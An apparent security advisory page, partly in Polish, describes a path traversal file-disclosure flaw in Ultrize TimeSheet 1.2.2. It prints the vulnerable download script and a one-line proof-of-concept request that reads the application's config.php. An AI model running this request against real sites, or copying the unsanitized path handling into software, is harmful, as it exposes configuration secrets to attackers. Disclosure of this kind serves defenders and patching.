Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

2009-09-11 / 2009-09-12
Credit: None
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability Code page /actions/downloadFile.php ==== <?php //** This script performs the actual file download $fileName = $_REQUEST['fileName']; <--!! $job_id = $_REQUEST['job_id']; <--!! $fullFile = $config['upload_dir'].$job_id.'/'.$fileName; <--!! if (file_exists($fullFile)) { header("Content-Type: application/octet-stream"); header("Content-Length: ".filesize($fullFile)); header('Content-Disposition: attachment; fileName="'.$fileName.'"'); readfile($fullFile); <--!! } else { header("HTTP/1.0 404 Not Found"); print "<h1>File not found. </h1>"; print $fileName; print "<hr>Please make sure your file paths are correct: {$config['upload_dir']}/{$job_id}/$fileName}<br />"; } ?> ==== Poc /actions/downloadFile.php?fileName=../config.php

Referencje:

http://xforce.iss.net/xforce/xfdb/52166
http://www.milw0rm.com/exploits/9307


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top